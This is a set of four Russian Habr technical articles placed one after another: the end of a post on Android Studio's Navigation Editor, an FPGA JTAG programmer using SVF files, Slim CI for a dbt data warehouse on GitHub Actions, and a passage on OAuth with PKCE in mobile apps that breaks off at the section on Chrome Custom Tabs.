Итак, вы запустили Android Studio и создали простой пример с одной кнопкой. Идём в меню и выбираем **Tools | Android | Navigation Editor**. На экране появится новая вкладка файла **main.nvg.xml** и сам редактор, на котором можно увидеть форму своей активности с кнопкой и со стрелочкой, которая соединяется с пунктом меню **Settings**. Пока ничего интересного.
Дальше начинается магия. Щелкаем правой кнопкой мыши в любом месте редактора и вызываем контекстное меню **New Activity...**.
[](http://fotki.yandex.ru/users/netsources/view/611937)
Появляется стандартный мастер по созданию новой активности. Заполняем поля и двигаемся дальше.
[](http://fotki.yandex.ru/users/netsources/view/611938)
Как только мы нажали кнопку **Finish**, в редакторе появится изображение второй активности. Причём, из кнопки от первой активности идёт стрелочка.
[](http://fotki.yandex.ru/users/netsources/view/611939)
Если зайти в код класса, то увидим, что там был сгенерирована заготовка для щелчка кнопки.
```
findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
MyActivity.this.startActivity(new Intent(MyActivity.this, SecondActivity.class));
}
});
```
Однако продолжим. Нам захотелось сделать переход со второй активности на третью. Опять вызываем контекстное меню и создаём новый экран. Но на этот раз между второй и третьей активностью не будет связи.
[](http://fotki.yandex.ru/users/netsources/view/611941)
Не беда. Делаем двойной щелчок по второму экрану и оказываемся в редакторе разметки. Добавляем кнопку и возвращаемся обратно в Navigation Editor. Изменения автоматически применятся и мы увидим добавленную кнопку. Теперь выбираем эту кнопку, зажимаем клавишу Shift и тянем кнопку к третьей активности. Когда вы отпустите мышку, то появится стрелка, идущая от кнопки к третьему экрану.
[](http://fotki.yandex.ru/users/netsources/view/611940)
Причем, в середине появится выпадающий список из двух элементов — swipe и press. Хотя я выбрал вариант **swipe**, в коде я всё равно получил тот же шаблон с onClick. В принципе, логично для кнопки. Но как получить код для свайпа, я пока не понял. Может кто-то подскажет?
Вот такой интересный инструмент. Должен заметить, что продукт пока сыроват. Во время опытов студия пару раз ругнулась на ошибку. Да и пользоваться с непривычки не совсем комфортно.
Должен признаться, за год я так и не привык к студии и по-прежнему предпочитаю старый добрый Eclipse. Но Гугл делает всё возможное, чтобы заставить перейти разработчиков на новую среду разработки. Я пока записываю для себя новинки на [отдельную страничку](http://developer.alexanderklimov.ru/android/theory/androidstudio.php), но никак не решусь полностью перейти в стан поклонников Android Studio/IntelliJ | https://habr.com/ru/post/226297/ | null | ru | null |
# Программатор для ПЛИС
Хочу рассказать о том, как развивается проект <http://marsohod.org>.
Цель проекта — популяризация проектирования для ПЛИС.
Тема ПЛИС постепенно набирает популярность — и совершенно заслуженно. Ведь теперь мы фактически получили простую возможность создать свою цифровую микросхему. Вам не потребуется нано-фаб и миллион долларов — все можно просто сделать имея компьютер и микросхему ПЛИС на плате разработчика. Вы знаете, что 90% производителей микросхем в мире не имеют собственных фабрик? Они проектируют и тестируют в ПЛИС, а производство заказывают сторонним производителям.
Когда-то и программирование микроконтроллеров считалось чуть ли не чудом. Теперь можно купить платку Ардуино и научить старшеклассника «мигать светодиодом».
Я хочу показать, что и ПЛИС — это вполне доступная технология.
Плата «Марсоход» — это самый простой и дешевый девелопер кит на микросхеме ПЛИС компании Альтера EPM240T100C5. Проект — опен соурс — [схемы платы есть](http://www.marsohod.org/index.php/howtostart/plata) на нашем сайте. Кроме того, опубликованно [уже более 50](http://marsohod.org/index.php/projects) проектов выполненных на базе нашей платы.
Дальше я расскажу о программаторе для ПЛИС. Считается, что учиться проектированию ПЛИС гораздо дороже, чем учиться микроконтроллерам. Отчасти это мнение связано с тем, что программаторы вендоров ПЛИС довольно дороги.
Теперь есть альтернатива. Вы сможете сделать простой программатор USB сами!
Мы разработали очень простой программатор на микросхема FTDI FT2232HL. Вот такой:
Это USB программатор с интерфейсом JTAG. Его схема так же [есть на сайте](http://marsohod.org/index.php/ourblog/11/170-mbfdti), значит при желании вы сможете его сами сделать:
Программное обеспечение, которое мы сами написали к нему — это SVF Player. Кратко расскажу, как это работает.
Среда проектирования для ПЛИС Altera Quartus II позволяет в процессе компиляции вашего проекта создавать файлы для программаторов в разных форматах: POF, SOF, JAM, SVF. Среда проектирования Xilinx ISE так же позволяет создавать SVF файлы.
Файлы в формате SVF — это простой текстовый файл с описанием команд, которые нужно передать в микросхему ПЛИС через интерфейс JTAG для программирования. Файл SVF (Serial Vector Format) может выглядеть вот так:
`!
FREQUENCY 10000000.00 HZ;
!
TRST ABSENT;
ENDDR IDLE;
ENDIR IRPAUSE;
STATE IDLE;
SIR 10 TDI (2CC);
RUNTEST IDLE 10003 TCK ENDSTATE IDLE;
!
!CHECKING SILICON ID
!
SIR 10 TDI (203);
RUNTEST 53 TCK;
SDR 13 TDI (0089);
SIR 10 TDI (205);
RUNTEST 53 TCK;
SDR 16 TDI (FFFF) TDO (8232) MASK (FFFF);
SDR 16 TDI (FFFF) TDO (2AA2);
SDR 16 TDI (FFFF) TDO (4A82);
SDR 16 TDI (FFFF) TDO (0C2C);
SDR 16 TDI (FFFF) TDO (0000);
!
!BULK ERASE
!
SIR 10 TDI (203);
RUNTEST 53 TCK;
SDR 13 TDI (0011);
SIR 10 TDI (2F2);`
В микросхеме позади интерфейса JTAG есть так называемый TAP контроллер, который управляет процессом тестирования и программирования микросхем ПЛИС. В TAP контроллере есть два регистра: регистр команд IR и регистр данных DR.
Основные команды в SVF файле — это передача данных в регистр инструкций (команда SIR) и передача в регистр данных (команда SDR).
Например, команда **SIR 10 TDI (203);** говорит, что нужно передать в регистр IR десятибитное число 0x203. Еще пример: команда **SDR 16 TDI (FFFF) TDO (2AA2);** говорит, что нужно передать в регистр DR шестнадцатибитное число 0xFFFF, но в ответ микросхема должна обязательно прислать число 0x2aa2. Еще одна важная команда — это RUNTEST. Она позволяет выдерживать паузы заданной длительности при программирования. Обычно паузы выдерживаются в состояниях TAP контроллера IDLE, IRPAUSE или DRPAUSE.
Правильно исполняя команды из SVF файла можно «зашить» микросхему ПЛИС. Это и делает наша программа SVF плеера MBFTDI.
Интерфейс программирования и тестирования микросхем JTAG имеет всего четыре основных сигнала для передачи данных: TCK — сигнал тактирования, TMS — сигнал управления передачей, сигнал TDI — данные передаваемые в микросхему и TDO — данные читаемые из микросхемы. Для передачи данных в регистры TAP контроллера IR и DR нужно понимать, как управлять состоянием этого контроллера. Попробуем с этим разобраться.
На самом деле все довольно просто. Состояния TAP контроллера описываются вот такой машиной состояний:
TAP контроллер меняет свое состояние во время импульса сигнала TCK и в зависимости от значения сигнала TMS.
Например, видно, что для того, чтобы сбросить TAP контроллер в состояние RESET из любого другого состояния достаточно держать TMS в единице не менее 6 импульсов TCK. Если нужно перейти из состояния RESET в IDLE нужно перевести TMS в ноль и подать хотя бы один импульс TCK. Из IDLE в состояние передачи данных в регистр инструкций SHIFT\_IR — это просто 4 импульса TCK при изменении TMS на 1-1-0-0.
В нашем программаторе MBFTDI мы используем микросхему FTDI FT2232HL в которой уже реализовано управление всеми этими линиями JTAG. Наша программа SVF плеера MBFTDI считывает SVF файл, интрепретирует его и посылает команды микросхеме FTDI управляя линиями JTAG. Описание JTAG команд микросхемы FTDI есть [вот здесь](http://www.ftdichip.com/Support/Documents/AppNotes/AN_108_Command_Processor_for_MPSSE_and_MCU_Host_Bus_Emulation_Modes.pdf).
Мы уже протестировали наш программатор с микросхемами Altera серии MAX II, Cyclone II, Cyclone III и некоторыми микросхемами Xilinx.
Конечно, программатор работает и в Windows и в Linux.
Конечно [исходники доступны](http://www.marsohod.org/index.php/downloads/cat_view/16-usb-jtag--mbftdi) на нашем сайте в разделе загрузки или [на GITHUB](https://github.com/marsohod4you).
Надеюсь наш проект <http://marsohod.org> поможет Вам быстрее освоить проектирование для ПЛИС. | https://habr.com/ru/post/134657/ | null | ru | null |
# Интеграционные тесты для Хранилища Данных – Настраиваем Slim CI для DWH
Привет! На связи Артемий – Analytics Engineer из Wheely.
В условиях постоянно растущей сложности аналитических инструментов и распределенной команды не просто возможно, но и необходимо повышать скорость поставки (*T2M*) и качество (*Quality*) выводимого в продуктив функционала. Фокус сегодняшней публикации – внедрение практик интеграционного тестирования с учетом современного аналитического стека.
С практическими примерами и рекомендациями будут рассмотрены следующие аспекты:
* Специфика аналитических приложений и пространство для DevOps практик
* Рецепт для внедрения Continuous Integration шаг за шагом
* Slim CI: оптимизируем и ускоряем процессы
Велком под кат, если словосочетания Continuous Integration, Integration Testing, Time to Market вызывают у вас здоровый энтузиазм и интерес.
---
### Современные аналитические приложения нуждаются в практиках DevOps
Прежде чем приступить к настройке *Continuous Integration*, предлагаю проникнуться спецификой современного аналитического стека и ощутить потребность в этих практиках.
Аналитические приложения сегодня – сложные системы, состоящие из набора взаимосвязанных компонент, основные группы которых включают:
* Пайплайны загрузки исходных данных – Extract & Load (**EL** в **EL**T)
* Хранилища данных – мощные аналитические СУБД (Redshift, Snowflake, Bigquery и другие)
* Оркестратор скриптов и преобразований – **T** в EL**T** (dbt, Airflow, Dagster)
* BI-инструменты – доступ к данным, дашбординг, визуализация (Looker, Metabase, Tableau)
Схема аналитических приложенийНаиболее важным с точки зрения аналитики является этап моделирования данных и сбора витрин. Чаще всего Хранилище Данных можно представить в виде направленного ациклического графа (*DAG*). На листьях графа располагаются витрины данных, оптимизированные под чтение и содержащие в себе бизнес-метрики.
А теперь представьте, что при выпуске релиза была допущена ошибка в одном из узлов графа. Суть в том, что эта ошибка повлечет последствия для всех нижележащих зависимых узлов – они либо будут собраны с ошибками, либо не будут рассчитаны совсем.
Баг повлияет на все нижележащие зависимые узлы графа ХранилищаТакже очевидно, что потребность в аналитике никогда не уменьшается, но только усиливается с развитием проекта и внедрением новых инициатив. Результатом этого является взрывной рост витрин, метрик, дашбордов и отчетов, которые постоянно эволюционируют, дополняются, актуализируются.
Посмотрите на разнообразие метрик в одной из витрин данных. По сути это куб, который позволяет отследить динамику изменения 70+ показателей по разрезе различных измерений.
Витрины данных сочетают количественные и качественные аспекты сложностиКак результат, уже само сопровождение этой бизнес-логики становится весьма непростой задачей. Добавьте к этому тот факт, что за разные группы метрик несут ответственность разные члены команд, при этом метрики могут каскадно зависеть друг от друга.
Не менее значим элемент командной работы. Аналитические приложения сегодня – плод совместного труда инженеров данных, аналитиков данных, BI-инженеров, data scientists. Лучшей практикой является работа с приложениями как кодом (*code-based*) и версионирование изменений (*version controlled*).
Статистика внедрения новых изменений членами команды в git-репозиторийПроцессы, основанные на работе с git-репозиториями позволяют значительно ускорить и облегчить совместную работу, однако и здесь не стоит забывать про конфликты и всевозможные баги, которые могут повлиять на работу других членов команды.
### Вывод изменений в продуктив может стать непредсказуемым
Все вышеперечисленные особенности только добавляют элементы сложности в структуру аналитических приложений. Без должной уверенности и контроля, в рамках релиза изменений и фиксов, остается только надеяться на лучшее и предполагать, что патчи были протестированы должным образом.
Без тестов и контроля процесс релиза изменений в продуктив превращаются в рулеткуОдно из самых распространенных и неприятных последствий – ухудшение (или отсутствие) сервиса и прямое влияние на бизнес-пользователей.
Бизнес-пользователи находят ошибки в витринахКак выяснилось в ходе разбора инцидента – ошибка в последнем патче напрямую повлияла на сбор витрин. Одна из ветвей графа была попросту исключена (*skipped*) из регулярного расчета по причине ошибки в вышележащем узле.
Ошибка в одном из узлов графа вызывает каскад проблем### Рецепт для Continuous Integration
Итак, с остротой проблемы разобрались. Теперь ближе к практикам *Continuous Integration*.
Прежде всего, что такое *Continuous Integration*? Традиционно считается, что *CI* – это регулярное слияние веток разработки с новыми фичами или фиксами багов и основной ветки разработки.
Учитывая специфику аналитических приложений, чего мы хотим добиться в рамках CI?
* Создание независимого окружения на каждую попытку слияния веток
* Всестороннее тестирование качества новой версии кода (витрин данных)
* В случае успеха – высвобождение ресурсов и удаление окружения
А теперь непосредственно сама рецептура для внедрения Continuous Integration в ваши приложения:
* Запуск (trigger) в рамках Pull Request
* Создание независимого окружения
* Ограничение объема используемых данных
* Выполнение расчетов и запуск тестов
* Отчет о статусе (ok / fail)
* Удаление окружения (clean up)
### 1. Запуск (trigger) в рамках Pull Request
Любой современный инструмент автоматизации Continuous Integration предоставляет гибкие настройки для условий срабатывания скрипта:
* Запуск по расписанию
* Ручной запуск
* Запуск по событию (Webhook)
Предлагаю рассмотреть на примере набирающего сегодня популярность инструмента автоматизации [Github Actions](https://docs.github.com/en/actions).
Самый простой и действенный пример – срабатывание при создании pull request к ветке master.
```
# Controls when the action will run.
on:
# push:
# branches: [ master ]
pull_request:
branches: [ master ]
# workflow_dispatch:
# schedule:
# - cron: '0 5 * * *'
```
[Набор триггеров](https://docs.github.com/en/actions/reference/events-that-trigger-workflows) Github Actions достаточно богат и не ограничивается только `pull_request`.
### 2. Создание независимого окружения
Что такое независимое окружение? Это полноценная среда, в рамках которой вы сможете развернуть уменьшенную копию вашего Хранилища Данных.
В моем случае достаточно создать отдельную схему в базе данных и построить в ней все необходимые объекты.
Для меня работает макрос [*dbt* + *Jinja*](https://habr.com/ru/company/otus/blog/501380/), который автоматически создаст новую схему данных, если запуск осуществляется в рамках джобы **ci**. При этом название схемы будет содержать порядковый номер pull request в постфиксе.
Для запуска в рамках ci будет создана отдельная схема с номером PR в названииmacro generate\_schema\_name():
```
{#
Renders a schema name given a custom schema name. If the custom
schema name is none, then the resulting schema is just the "schema"
value in the specified target. If a schema override is specified, then
the resulting schema is the default schema concatenated with the
custom schema.
This macro can be overriden in projects to define different semantics
for rendering a schema name.
Arguments:
custom_schema_name: The custom schema name specified for a model, or none
node: The node the schema is being generated for
#}
{% macro generate_schema_name(custom_schema_name, node) -%}
{%- set default_schema = target.schema -%}
{%- if target.name == 'ci' -%}
{{ default_schema }}_{{ env_var('GITHUB_PR_NUMBER') | trim }}
{%- else -%}
{%- if custom_schema_name is none -%}
{{ default_schema }}
{%- else -%}
{{ default_schema }}_{{ custom_schema_name | trim }}
{%- endif -%}
{%- endif -%}
{%- endmacro %}
```
### 3. Ограничение объема используемых данных
Нет смысла делать расчет на всем объеме данных. Это невыгодно как с точки зрения использования ресурсов кластера, так и с точки зрения времени.
Что в таком случае можно сделать? Нам будет достаточно взять исходные таблицы-справочники без изменений, и ограниченный объем данных из таблиц-фактов, например, 3-е последних суток.
Опять же, на помощь приходит компилируемый код dbt + Jinja, который сможет ограничить выборку в случае запуска джобы под флагом ***ci***. Макрос динамически собирает набор фильтров в конструкции WHERE запросов к таблицам с исходными данными:
```
{#- prepare expression to filter rows to last 'development_days_of_data' (e.g. last 3 days) -#}
{% set get_dev_watermark_query = 'select dateadd(day, ' ~ -1 * var('development_days_of_data') ~ ', current_timestamp::date)' %}
{# {{ log("get_dev_watermark_query: " ~ get_dev_watermark_query, info=True) }} #}
{% if execute %}
{% set dev_watermark = "'" ~ run_query(get_dev_watermark_query).columns[0][0] ~ "'" %}
{% endif %}
{%- set dev_rows_expression = timestamp_column ~ ' >= ' ~ dev_watermark
if target.name in ['dev', 'ci'] and last_n_days_of_data == true else '1 = 1' -%}
```
В результате работы макроса будет исполнен следующий sql-запрос:
```
select
...
from "sandbox"."fines"
where 1 = 1
and __hevo__marked_deleted is not true
and created_at >= '2021-07-11 00:00:00' -- 1 = 1 if not ci
and 1 = 1
```
Изменение значения переменной development\_days\_of\_data в конфиграции проекта отразится на всех таблицах, подлежащих усечению:
```
vars:
development_days_of_data: 3
```
### 4. Выполнение расчетов и запуск тестов
Основная задача Continuus Integration – идентифицировать проблемы и ошибки на ранних этапах, минимизировав возможные негативные последствия. Для этого потребуется полноценная сборка уменьшенной версии Хранилища Данных и запуск тестов.
При этом тестированию могут быть подвержены любые ваши ожидания и допущения (expectations) о данных. Они могут включать уникальность (unqiueness), наличие значения (not null), ссылочную целостность (referential integrity), допустимые значения атрибута (accepted values) и многие другие. Вопроса тестирования я касался в одном из предыдущих вебинаров – [Практическое Качество Данных](https://youtu.be/j5V36kztvEI).
Расчет Хранилища Данных и запуск тестов в рамках CI с Github ActionsСам запуск может потребовать наличия библиотек и зависимостей, поэтому удобным может представляться создание отдельного Action который будет вызван в рамках запуска ci. Примером такого Action может служить [mybi-dbt-action](https://github.com/kzzzr/mybi-dbt-action). По сути, это последовательный запуск команд в контейнере (см. [Dockerfile](https://github.com/kzzzr/mybi-dbt-action/blob/master/Dockerfile)) с предустановленными зависимостями и библиотеками:
```
#!/bin/sh -l
# set logging
set -ex
# cd to project directory which is ./ by default
cd ${INPUT_PROJECT_DIR:-.}
# perform actions
echo "dbt --version" && dbt --version
echo "dbt debug" && dbt debug
echo "dbt deps" && dbt deps
echo "dbt seed" && dbt seed
echo "dbt run" && dbt run
echo "dbt test" && dbt test
echo 'dbt run-operation "clean_up"' && dbt run-operation "clean_up"
```
Вызов такого действия c передачей параметров в виде переменных окружения становится тривиальным ([dbt\_mssql\_ci.yml](https://github.com/kzzzr/mybi-dbt-core/blob/master/.github/workflows/dbt_mssql_ci.yml)):
```
jobs:
dbt_deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: dbt mssql action # Invoke dbt action with parameters as ENV variables
uses: kzzzr/mybi-dbt-action@v2
env:
DBT_MSSQL_TARGET: ci
DBT_MSSQL_SERVER: ${{ secrets.DBT_MSSQL_SERVER }}
DBT_MSSQL_USER: ${{ secrets.DBT_MSSQL_USER }}
DBT_MSSQL_PASSWORD: ${{ secrets.DBT_MSSQL_PASSWORD }}
DBT_MSSQL_DATABASE: ${{ secrets.DBT_MSSQL_DATABASE }}
DBT_MSSQL_SCHEMA: dbo
GITHUB_PR_NUMBER: ${{ github.event.number }}
```
### 5. Отчет о статусе (ok / fail)
Любая ошибка в ходе выполнения задания будет расценена как *fail*, т.е. провал тестов и свидетельство о том, что такой патч не следует выводить в продуктив до того, как все ошибки будут исправлены.
При настройке джобы ***ci*** как необходимого условия для слияния с мастер-веткой Github любезно покажет статус, и не даст выполнить *merge* до момента, когда все тесты будут завершены успешно.
Патч с пройденными тестами может быть успешно влит в мастер-ветку репо### 6. Удаление окружения (clean up)
После успешных тестов необходимо очистить временную схему и удалить все созданные в рамках тестов объекты. Можно назвать это специфическим *garbage collection*. Иначе говоря применить принцип временной схемы – *transient schema*, которая создается только лишь для прогона тестов.
При этом в случае возникновения ошибки схема не удаляется и существует возможность обратиться непосредственно к объектам с данными и детально разобраться, в чем суть и корневая причина бага. Это элемент *debugging*.
Макрос очистки – [*clean\_up()*](https://github.com/kzzzr/mybi-dbt-core/blob/master/macros/clean_up.sql) довольно прост. Он каскадно удаляет схему, использованную в рамках запуска, и все объекты в ней:
```
-- Delete objects from database after CI tests
{% macro clean_up() %}
{%- if target.name in ['ci'] -%}
{% set schema = target.schema ~ '_' ~ env_var('GITHUB_PR_NUMBER') | trim %}
{% do adapter.drop_schema(api.Relation.create(database=target.database, schema=schema)) %}
{%- endif -%}
{% endmacro %}
```
### Slim CI: оптимизируем и ускоряем
Даже после внедрения полноценного интеграционного тестирования, преждевременным будет считать работу полностью законченной. Всегда можно найти место для элементов оптимизации.
Пропорционально сложности проекта и объему графа витрин растет и время, затрачиваемое на каждый запуск Continuous Integration.
Средняя продолжительность запуска интеграционных тестов неукоснительно растетС другой стороны, чем быстрее цикл обратной связи – тем лучше. Чем быстрее мы тестируем и выводим изменения в продуктив – тем быстрее бизнес-пользователи получают результат. Речь о том самом *time to market* (T2M). В иных случаях это может иметь *business critical* приоритет.
Как мы можем ускорить время, затрачиваемое на запуски CI?
* Идентифицировать, какие конкретно узлы меняются в патче
* Запускать тесты только на подграфе Хранилища Данных
Внутренние механизмы *dbt* позволяют отследить узлы, претерпевшие изменения. В рамках этапа компиляции каждый узел графа идентифицируется хеш-суммой, которая меняется даже при малейшем изменении в коде. Это похоже на работу git, который оперирует хеш-суммами файлов.
Флаги [*--defer*](https://docs.getdbt.com/reference/node-selection/defer) и [*--state*](https://docs.getdbt.com/docs/guides/understanding-state) в рамках запуска джобов dbt позволят запустить Continuous Integration в режиме *Slim*, а именно построение и тестирование только измененных узлов и их нижележащих зависимостей. Ниже краткий и лаконичный комментарий из [официальной документации](https://docs.getdbt.com/docs/guides/understanding-state):
Результаты после внедрения Slim CI не могли не обрадовать команду и бизнес-пользователей. Теперь после внесения небольшого изменения в одну из витрин-листьев графа выполняется прогон только этой витрины, а не сборка всего Хранилища из 300+ моделей целиком.
Внедрение Slim CI ведет к значительной оптимизации ресурсов и времени### Оседлать волну Modern Analytics Stack
Работа с данными – одно из наиболее востребованных и бурно развивающихся направлений. Каждый день я нахожу новые интересные задачи и придумываю решения для них. Это захватывающий и интересный путь, расширяющий горизонты.
Самые горячие, интересные и актуальные темы и технологии я включил в новый курс [Analytics Engineer](https://otus.ru/lessons/dwh/) на платформе OTUS:
* ELT – источники данных и пайплайны загрузки
* Аналитические СУБД и моделирование данных в DWH
* Объемлющая работа с Data Build Tool (dbt)
* Аналитические витрины: KPI, Time-series, Cohort, Funnels, Retention, RFM
* Установка и работа с инструментами Business Intelligence
* Продвинутые техники: External & semi-structured data, Reverse ETL, UDF, ML
Тема настройки Slim Continuous Integration – лишь одна из частей, которые будут рассмотрены в модуле 5 – Продвинутые техники работы с DWH. С детальной программой можно ознакомиться на лендинге [Data Warehouse Analyst](https://otus.ru/lessons/dwh/).
Slim CI в занятии 25 – DWH: Advanced topicsДля тех кто дочитал до конца – запись вебинара [Slim Continuous Integration для Хранилища Данных](https://otus.pw/6Gge/) доступна на YouTube.
* Обсудить публикацию и задать вопросы можно в моем телеграм-канале [Technology Enthusiast](https://t.me/enthusiastech).
* [**УЗНАТЬ ПОДРОБНЕЕ О КУРСЕ "Data Warehouse Analyst"**](https://otus.pw/0fHYK/)
Благодарю за внимание. | https://habr.com/ru/post/567916/ | null | ru | null |
# OAuth в мобильных приложениях
Привет! Меня зовут Мялкин Максим, я занимаюсь мобильной разработкой в [KTS](https://kts.studio/).
Ни один сервис не обходится без логина. Часто в мобильных приложениях требуется интегрировать вход через сторонние соцсети — например, зайти через Google или VK. А при обучении мобильной разработке используются открытые API, где для авторизации используется OAuth.
Поэтому разработчикам мобильных приложений приходится работать с OAuth. В сети по этой теме есть разные материалы.
В этой статье я попробую структурированно закрыть нюансы OAuth в мобильных приложениях: на какие моменты стоит обратить внимание, какие способы реализации выбрать. А также поделюсь опытом настройки OAuth в Android-приложении с использованием библиотеки AppAuth.
* [**OAuth и flow**](#1)
* [**Принцип работы Authorization Code Flow with PKCE**](#2)
* [**MITM для перехвата кода**](#3)
* **Нюансы реализации**
+ [Как открывать страницу логина](#4)
- [*WebView*](#5)
- [*Browser*](#6)
- [*ChromeCustomTabs, SafariVC*](#7)
+ [Редирект в Chrome не срабатывает](#8)
+ [Обновление токенов](#9)
+ [Браузер отсутствует](#10)
+ [Логаут](#11)
* [**Варианты реализации OAuth**](#12)
+ [Использовать SDK сервиса, через который вы хотите авторизоваться](#13)
+ [Реализовать вручную](#14)
+ [Использовать библиотеки](#15)
* [**Реализация в Android-приложении**](#16)
+ [Общая настройка](#17)
+ [Реализация в Android](#18)
+ [Авторизация](#19)
+ [Логаут](#20)
+ [Обновление токена](#21)
* [**Заключение**](#22)
OAuth и flow
------------
Когда речь идет про авторизацию и аутентификацию, используются такие понятия как OAuth2 и OpenID. В статье я не буду их раскрывать, на Хабре уже есть такой материал:
* [базовое пояснение](https://habr.com/ru/company/flant/blog/475942/);
* [углубленное техническое пояснение](https://habr.com/ru/company/vk/blog/115163/).
Ниже мы рассмотрим детали, касающиеся мобильной разработки. Для наших целей неважны различия между OAuth2 и OpenID, поэтому дальше мы будем использовать общий термин OAuth.
В OAuth существуют различные flow, но не все подходят для использования в приложении:
* **Authorization Code Flow.** Не подходит: код можно перехватить в зловредном приложении.
* **Resource Owner Password Credentials Flow**. Требует введения credentials внутри приложения. Это нежелательно, если приложение и сервис не разрабатываются одной командой.
* **Client Credentials Flow.** Подходит для авторизации самого клиента на основе `client_id`, `client_password`. Не требует введения credentials от пользователя.
* **Implicit Flow.** [Небезопасный и устаревший](https://medium.com/oauth-2/why-you-should-stop-using-the-oauth-implicit-grant-2436ced1c926).
Принцип работы Authorization Code Flow with PKCE
------------------------------------------------
Для мобильных клиентов рекомендуется использовать Authorization Code Flow c дополнением: *Authorization Code Flow with Proof Key for Code Exchange (PKCE).* Использовать именно этот flow важно для безопасности пользовательского входа в приложение. Рассмотрим его особенности.
Этот flow основан на обычном Authorization Code Flow. Сначала вспомним его реализацию:
1. Пользователь жмет кнопку Login.
2. Приложение создает ссылку для авторизации на сервисе авторизации и открывает его в браузере.
3. Пользователь видит экран с полями для ввода логина/пароля.
4. Пользователь вводит логин/пароль и подтверждает необходимые доступы к данным.
5. Сервис авторизации возвращает код авторизации в приложение с помощью редиректа. С кодом получить доступ к требуемым ресурсам из апи пока не получится. *Чтобы редирект был перехвачен только приложением, обычно используются кастомные схемы, а не http(s). Иначе код может перехватить еще и браузер — в этом случае появляется окно выбора приложений.*
6. Приложение получает код из URL редиректа и обменивает код на токен. Дополнительно могут передаваться `client_id`, `client_secret`.
7. Сервис авторизации возвращает `access_token` для доступа к ресурсам, `refresh_token`.
8. Приложение с помощью полученного токена общается с сервисом API.
При использовании Authorization Code Flow with PKCE cхема немного меняется. Отличия выделены.
1. Пользователь жмет кнопку Login.
2. **Генерируются code\_verifier и code\_challenge и сохраняются в приложении.**Как происходит генерация, описано в [RFC-7636](https://datatracker.ietf.org/doc/html/rfc7636).
`code_challenge` является производным от `code_verifier`, обратная трансформация невозможна.
3. **Приложение создает ссылку для авторизации с учетом сгенерированного code\_challenge. Ссылка открывается в браузере. В этот момент сервис авторизации тоже запоминает code\_challenge для сессии. Таким образом, code\_verifier остается только внутри приложения и не передается по сети**.
4. Пользователь видит экран с полями для ввода логина/пароля.
5. Пользователь вводит логин/пароль.
6. Сервис авторизации возвращает код авторизации в приложение с помощью редиректа. Обратите внимание, что `code_challenge` не возвращается от сервера вместе с кодом. О нем знают только сервис авторизации и мобильное приложение.
7. **Приложение обменивает код на токен. При обмене приложение отправляет code\_verifier, который был сохранен в пункте 2**.
8. **Сервис авторизации принимает code\_verifier от мобильного приложения. Вычисляет от него code\_challenge и сравнивает с code\_challenge, переданным в пункте 3. Если они совпадают — возвращается токен**.
9. Сервис авторизации возвращает `access_token` для доступа к ресурсам, `refresh_token`.
10. Приложение с помощью полученного токена общается с сервисом API.
Что могло бы произойти, если бы не использовались `code_verifier` и `code_challenge`?
MITM-атака для перехвата кода
-----------------------------
Одной из реализаций OAuth является реализация с помощью внешнего браузера.
В таком случае код возвращается обратно в приложение с помощью системной функции: когда внутри браузера происходит редирект на URL, который может обработать ваше приложение — открывается ваше приложение.
Именно в момент, когда система ищет приложение для обработки URL редиректа, возможен перехват редиректа зловредным приложением. Злоумышленник может создать приложение, которое перехватывает такие же редиректы, как у вас. Утекают все данные, которые находятся в строке редиректа.
Перехват редиректа в мобильном приложенииИменно поэтому в редиректе нужно возвращать промежуточный код, а не токен. Иначе токен будет доступен чужому приложению.
При использовании обычного Authorization Code Flow чужое приложение (Malicious app) потенциально может получить код и обменять его на токен, аналогично тому, как это сделано в вашем приложении (Real app). Но с использованием `code_verifier` и `code_challenge` зловредный перехват становится бессмысленным. Чужое приложение не знает `code_verifier` и `code_challenge`, которые были сгенерированы внутри вашего приложения, и в редиректе они не возвращаются.
Без этих данных зловредное приложение не сможет обменять код на токен.
Стоит отметить, что такая атака не сработает, если использовать universal links (ios) и applink (android). Чтобы открыть редирект-ссылку в приложении, необходимо положить на сервер json-файл с описанием подписи вашего приложения.
Но часто мы не можем добавить json-файл на сервер, если авторизуемся с помощью внешнего сервиса, который разрабатываем не мы. Поэтому не всегда это может помочь.
Нюансы реализации
-----------------
### Каким образом открывать страницу логина?
Страница логина в OAuth представляет из себя веб-страницу. Есть следующие способы:
* Использовать WebView внутри вашего приложения.
* Открыть страницу во внешнем браузере.
* Использовать ChromeCustomTabs, SafariVC.
При выборе способа стоит иметь в виду, что основной задачей OAuth является предоставление приложению доступа к сервису без ввода credentials внутри приложения.
#### WebView
**Преимущества:**
* При отображении веб-страницы с WebView мы можем кастомизировать ui экрана полностью, как нам нужно.
* Сам экран с WebView будет открыт быстрее страницы в браузере: все происходит в рамках одного процесса, без межпроцессного взаимодействия.
**Недостатки:**
* Реализация через WebView не является безопасной в общем случае, и некоторые соцсети не позволяют использовать такой способ реализации OAuth, например [Google](https://developers.googleblog.com/2021/06/upcoming-security-changes-to-googles-oauth-2.0-authorization-endpoint.html).
* Общая проблема в том, что WebView находятся в рамках приложения. Создатель зловредного приложения может вклиниться между пользователем и сервисом, в котором пользователь авторизируется, и перехватить пароль и логин. Хотя одна из целей протокола OAuth — противостоять этому.
На практике удавалось это обойти путем подмены user agent. [Но это не соответствует политике Google](https://developers.google.com/terms/api-services-user-data-policy#deceptive_or_unauthorized_use_of_google_api_services_is_prohibited), и делать это нельзя.
* WebView выполняет js в процессе вашего приложения, что небезопасно уже для самого приложения. Если вы используете WebView внутри, рекомендую ознакомиться с [советами по настройке для обеспечения дополнительной безопасности](https://www.securing.pl/en/webview-security-issues-in-android-applications/).
* С использованием WebView ухудшается пользовательское удобство. Пользователь мог быть уже авторизован в сервисе в браузере, но WebView об этом не узнает, так как хранилище cookie у вебвью и браузера разное.
Из-за недостатков WebView не лучший вариант для реализации OAuth в мобильном приложении.
#### Browser
Второй вариант — открыть страницу во внешнем браузере, установленном на устройстве.
**Преимущества:**
* Открыть страницу в браузере очень просто.
* Ваше приложение не имеет контроля над браузером и открытой веб-страницей. Это обеспечивает дополнительную безопасность для пользователя.
* Браузер сохраняет cookie пользователя. А значит, если пользователь был уже залогинен в сервисе, ему не придется заново вводить credentials.
**Недостатки:**
* Открытие браузера тяжеловесная операция, потому что нам нужно запустить внешний процесс.
* Вы не можете настраивать UI браузера, он открывается во внешнем окне.
* Открывая браузер, вы покидаете навигационный стек приложения.
#### ChromeCustomTabs, SafariVC
